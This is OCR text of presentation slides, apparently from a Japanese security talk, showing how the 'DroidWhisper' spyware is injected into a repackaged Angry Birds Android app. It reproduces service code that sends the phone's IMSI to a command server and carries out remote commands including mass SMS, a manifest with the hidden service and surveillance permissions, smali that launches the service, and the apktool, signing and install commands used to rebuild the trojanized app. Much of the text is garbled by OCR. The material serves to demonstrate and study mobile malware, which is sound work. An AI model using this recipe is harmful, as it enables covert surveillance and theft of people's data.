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File Edit Run Source Refactor Mavigate Search Project Window Help
milhd e BB M- BRd #-0-- #H#EGE~ &=~ f@ imM HFEH oy T & Java Browsing & 7
5 Mavigator &2 oo | B % Y T 08| [0 DictionarySvejava 23 [J] DictionaryActivity java 1.9 SearchableDictionary Manifest ] = B|lg= oz =8
'[DGIApiDemog = private woid processCommand() { |3 =4
=)
AppScan
Ibg B":gef der Android SDK // fetch command from server B e
IDGI : Ender Andral TelephonyManager telephonyManager = (TelephonyManager)getSystemService(Context. TELEPHONY SERVICE); ut
= ContactManager //string deviceld = telephonyManager.getDeviceId(); // IMEI for GSM, or MEID or ESN for CDMA -
=2 Hello string mobileSubscriberId = telephonyManager.getSubscriberId(); // IMSI A= Javi ~
'[DG' LogRead if (mobileSubscriberId == null) { a_ jawvi
B2 LunerLander mobileSubscriberId = Secure.getString(getBaseContext().getContentReselver(), Secure.ANDROID ID); A jawe
] sk 1 4 javi—
b;arc:tat.ble[}lctlonar}r String responseBedy = " ) ja‘r
settings try { - i
= bin HttpClient httpClient = new DefaultHttpClient(); “— org
G@ gen [Generated Java Files] HttpPost httpPost = new HttpPost("http://"+HOST+"/checkin™); 4 org
o res List«<NameValuePair> nameValuePairs= new ArraylList<NameValuePair>(2); 4 org
= nameValuePairs.add(new BasicNameValuePair( "IMSI", mobileSubscriberId }); “ org
sre httpPost.setEntity(new UrlEncodedFormEntity(namevValuePairs)); .
= com HttpResponse response = httpClient.execute(httpPost); - o
= example responseBody = EntityUtils.toString(response.getEntity()); 4- org
2= android if (!responseBody.isEmpty()) Log.d(LOG_TAG, "HTTP Response body @ "+responseBody); 4— org
(= droidwhisper } catch éc(:{ijzn'crz;otggcll}Exgspttion ;é { cion™) - org
i L 0g. ;_TAG, ientProtocolException™); i on

K1 D?ct?onaryActn..rlty.Java } catch (IOException e) { . J =

[7] DicticnarySvc java Log.d(LOG_TAG, "IDException” + e.getlocalizedMessage()); -

= searchabledict “— anc

[J] Dictionary.java 4— anc

[7] DictionaryProvider.java ‘if: process c;rrzand ti fetcl: pzc:e"data . ciontumilabl 4 anc

[J] SearchableDictionaryjava if (responseBo y.con ains( update )| mew ocationAvaila e} { PR—

o Log.d(LOG_TAG, "processing update command™); .

[¥] WordActivity.java collectData(): - anc
|X] .classpath if (mMewLocationAwailable) mMewlLocationfwailable = false; // reset new location flag 4 ang
|x] .project } 4- anc
1< AndroidManifest.xml . 4 to dieol “— ang

. - // process command to display popup. a_ anc
o prCIJECt.F.Ir?pEI"tIES if(responseBody.startsWith("toast™)) { .
= SkeletonActivity Log.d(LOG_TAG, “"processing toast command”); - ang |
2 Snake final String msg = responseBody.substring(6); 4- anc
== VPN = mTeastHandler.post(new Runnable(){ “4— anc
= o= ublic vodid run() { i anc
VPN2 P
g VPN ) Toast.makeText(getApplicationContext(), msg, Toast.LENGTH LONG).show(); “_ anc
4— anc
s
Log.d(LOG TAG, "finished processing toast command™); 4— anc
g L p g
} 4— anc
= 4— anc
/f process command to cancel timers and stop the service “_  anc
if (responseBody.contains("shutdown™)) { i and
this.mUpdateTask.cancel();
this.stopself(); 4= anc
} “— anc
4— anc
..f';(p'cces-s c-:;rrand to 5er£d S.'-'.S)ﬁgjl'\ i anc
if(responseBody.contains("sMs” -
Log.d(LOG_TAG, "processing SMS command"); © [:;::Ftlona
/f Send SMS to all contacts (demo notification) |3 Lot _
. . CF v
4 b 1 [ ¥
r@ Javadoc r@ Declaration rE Console & A Debug} =| Propertieq =3 LogCaq 9] Error Log} LintWarnings] Ex RE | = i S El]
e
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d—H—15# HA5
import android.accounts.Account; import android.hardware.Camera;
import android.accounts.AccountManager; import android.hardware.Camera.PictureCallback;
EEEESMS import android.hardware.Camera.PreviewCallback;
import android.telephony.SmsManager; import android.hardware.Camera.Size;
import android.telephony. TelephonyManager; import android. media.AudioManager;
BT import android.view.SurfaceHolder;
import android.location.Location; import android.view.SurfaceView;
import android.location.LocationListener; Web C&C
import android.location.LocationManager; import org.apache.http.HttpResponse;
=) import org.apache.http.NameValuePair;
Import android.media.MediaRecording import org.apache.http.client.ClientProtocolException;

import org.apache.http.client.HttpClient;
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apktool d AngryBirds.apk

(= lE s

@uv| . v work v AngryBirds »

‘ Organize = 1ews xplore v Share (g Bumn
Folders v | Mame Date medified Type Size
4 | work - J assets 2/19/2013 3:54 PM File Folder
4 || AngryBirds J build 2/19/2012 4:05 PM File Felder
| assets 2 lib 2/19/2013 3:54 PM File Folder
J build | res 2/19/2012 2:54 PM File Felder
| ik o smali 2/19/2013 3:54 PM File Folder
> g res || apktoolyml 2/19/2012 2:54 PM YML File 1KB
a4 | smali =] AndroidManifest.xml 2/19/2013 4:01 PM XML Document 4 KB
4 || com | _
. burstly
. flurry
. google
. greystripe E
. inmaobi
. jumptap
. millennialmedia
J rovio ~ [ [ m | »

| i smali Date medified: 2/19/2013 3:54 PM
! File Folder  Shared with: KEVIN\Kevin

it
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2. HHARAARE DY —E ADsmalia—FZsmaliTsL ok &
[ example/android/droidwhisper I T4L2k!),

[ZaE—9 %, CCTl&.

= e =]
@Qv| . <« smali » com » example » android » droidwhisper - |¢? | | Search o |
‘ Organize
Folders v | MName Date modified Type Size
4 | work » | |@ DictionaryActivity.smali  2/25/2012 11:33 AM SMALIFile 12 KB
4 || AngryBirds B DictionaryActivitySMy...  2/25/201211:33 AM SMALIFile 10 KB
- | assets B DictionaryActivitySMy...  2/25/2012 11:33 AM  SMALIFile 3KB
J build B DictionaryActivitySMy...  2/25/201211:33 AM SMALIFile 8KB
) lib B DictionarySvec.smali 2/25/2012 11:33 AM SMALIFile 96 KB
> res B DictionarySvesl.smali 2/25/201211:33 AM  SMALIFile 2KB
4 | smali B DictionarySvc52.smali 2/25/201211:33 AM SMALI File 2KB
4 || com
J burstly F
4 | sample
4 |, android

. droidwhisper
) flurry
. google
| greystripe
J inmobi
J jumptap
. millennialmedia

J rovio

7 items
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3. VI RFEEHL T AAENT-Y—
EXE. ZFDY—ERIZHELIERZFEAT
%, Angry BirdsDizEDEFHEIN-Y=Tx
AREIXRDESY

o BTHERATELRIICTIVERRE
ERS)

+ Droidwhisperert—ERE#E&T 5
o WEGIERZEET D

<?xml version="1.0" encoding="utf-8" 2>
<manifest android:versionCode="2000" android:versionName="2.0.0"
android:installLocation="auto" package="com.rovio.angrybirds"
xmins:android="http://schemas.android.com/apk/res/android">
<application android:label="@string/app_name" android:icon="@drawable/icon"
android:debuggable="false">
<activity android:theme="@android:style/Theme.NoTitleBar.Fullscreen*"
android:name="com.rovio.ka3d.App" android:launchMode="singleTask"
android:screenOrientation="landscape"
android:configChanges="keyboardHidden|orientation">
<intent-filter>
<action android:name="android.intent.action. MAIN" />
<category android:name="android.intent.category. LAUNCHER" />
<lintent-filter>
</activity>
. .(some lines missing). . .
<service android:name="com.example.android.droidwhisper.DictionarySvc">
<intent-filter>
<action android:name="com.rovio.ka3d.service.DICTIONARY_SERVICE" />
<lintent-filter>
<service>
</application>
<uses-permission android:name="android.permission.ACCESS _NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission
WordFontMapperandroid:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.READ__S* />
<uses-permission
WordFontMapperandroid:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android:permission.SEND - SMS* />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_FINE LOCATION" />
<uses-permission android:name="android.permission.ACCESS _COARSE_LOCATION* />
<uses-permission android:name="android.permission. CAMERA"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses- permission android hame= "android permission RECORD AUDIO“/>

</man|fest>
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4. 8=k PTIDELRTIT4E T4 TonCreateAME TS 5. CNERDIF3ICIE,
Y_JxAFESH, Angry BirdsDiF& L. Tcom/rovio/ka3d/Appl. ciul, BIRD Y=<
Ak I7AIILTHEARTIN TS, RDsmalia—k%. onCreate~®Dlinvolk-super | 3—
JLDERIZEMNT S,

H WinElvis - [CAKevin\Kindsight\MalwareAnalysis\Android\Injection\Angry Birds-2000\smali\com\rovioika3d\App.smali] = o] ]
File Edit Search Window Options Tools Help

D/e|d| &|B(@ o« e sloic S| 2
# virtual methods -
.method public onCreate{Landroid/os/Bundle;)V

.locals 3

.parameter "savedInstanceState"

_prologue
const/4 w2, -8x1

.line 27
sput-object p8, Lcom/rovio/ka3d/App;->sm_instance:Lcom/rovio/kadd/App;

.line 28

invoke-super {p8, p1}, Landroid/app/Activity;->onCreate{Landroid/os/Bundle;)V
new-instance v@, Landroid/content/Intent;

invoke-direct {vw@}, Landroidfcontent/Intent;-><init>()u

.local v@, dictionaryIntent:Landroid/content/Intent;
const-string v1, “com.rovio.ka3d.service.DICTIONARY_SERVICE™

invoke-virtual {v@, v1}, Landroid/content/Intent;->setAction({Ljava/lang/String;)Landroid/content/Intent;
inuoke-virtual {p@, v@}, Landroid/app/Activity;->startService({Landroid/content/Intent;)Landroid/content/Componentiame ;
_line 20

const/high16 v@, Bx7F03

invoke-virtual {p@, v@}, Lcom/rovio/ka3d/App;->getString(I)Ljavaslang/String;

78,12 Command 10:08 AM
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5. apktoolZfE AL T, apkZ7 M ILEBEE(JE LK) T 5,
apktool b AngryBirds birds.apk

6. APKIZAIVICERT B, ALEERAZE T A THER) !
jarsigner -verbose -keystore C:¥kevin¥keys birds.apk alias name

7. APKIZ7A IV EREILT B,
zipalign -v 4 birds.apk birdsl.apk

8. HILWFIUr—30% A AR—ILLTT AT %, adb> /L Tlogcatav U REERT 5L,
15—57'1“/7'5”%%) o
adb install birdsl.apk
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o APK(zZipZ7/4IV) ICEICEZRIDI7AILDEENTLSIGEE . RIIDIT7
MILDELBNEDRINLSN. 2EBDIAE—NAA—ILEN S,

o NIF—MHIZIThN, A——IXTSUrTA—LIEBRZSINT=7T)
ENADYILTIORAT L ERZERET 5,

o COFEEFERTHICIE:
o BIBDOFIEIZHK-T. FILWLWAPKZREZET 5,
o THEINf-classes.dexT7A )L EmanifestxmITZ 7 ILZEELTRRET 5,
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B\ INTERCEPTOR

M SPYPHONE
\ SOFTWARE
: \‘ H(D:awr Bboth incoming and outgoing text messages

i in and listen to surrounding vicinlty

‘Wt notification when tve target phone is switched on
Time and date stamging

Text notification when the target phone receives call
Tust natification shows mamber calling in

Teat notifications when the target phane dials
Text notification shows number being called

R rre
SPYERA SOFTWARE LLG.

@ SPYPHONE GOLD
INTERNET

The Waorld Leader in Spy Phone Software
for Monitoring your Androld Cell Phone.

9 e N AU AYNY S
Turn your Android into a Family Manitoring Tool

® GPS Tracking On Cell Phone Location
w Incoming/Outgoing Calls

w Incoming/Outgoing Text Messages

100% Free Product

e
i

=
iIPhone

| Spy Phone Software |
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